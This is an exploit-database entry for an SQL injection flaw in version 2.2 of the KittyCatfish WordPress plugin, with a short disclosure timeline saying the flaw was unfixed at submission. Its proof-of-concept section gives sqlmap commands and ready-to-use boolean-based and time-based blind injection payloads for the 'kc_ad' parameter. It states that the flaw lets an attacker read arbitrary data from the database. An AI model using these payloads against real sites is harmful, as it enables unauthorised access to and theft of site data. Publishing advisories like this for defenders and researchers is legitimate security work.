WordPress KittyCatfish 2.2 Plugin - SQL Injection Vulnerability

ID 1337DAY-ID-27677
Type zdt
Reporter TAD GROUP
Modified 2017-04-25T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection
# Date: 20/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/
# Software Link: https://wordpress.org/plugins-wp/kittycatfish/
# Version: 2.2
# Contact: [email protected]
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits
1. Description 
An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The get oarameter 'kc_ad' is vulnerable.
2. Proof of concept
sqlmap -u """  —dbms —threads=10 —random-agent
sqlmap -u "" —dbms —threads=10 —random-agent —dbms=mysql   —level 5 —risk=3
Parameter: kc_ad (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: kc_ad=31 AND 2281=2281&ver=2.0
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0
3. Attack outcome:
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
4. Impact
5. Affected versions
<= 2.2
6. Disclosure timeline
06-Mar-2017 - found the vulnerability
06-Mar-2017 - informed the developer
20-Mar-2017 - release date of this security advisory
Not fixed at the date of submitting this exploit.

#  0day.today [2018-01-03]  #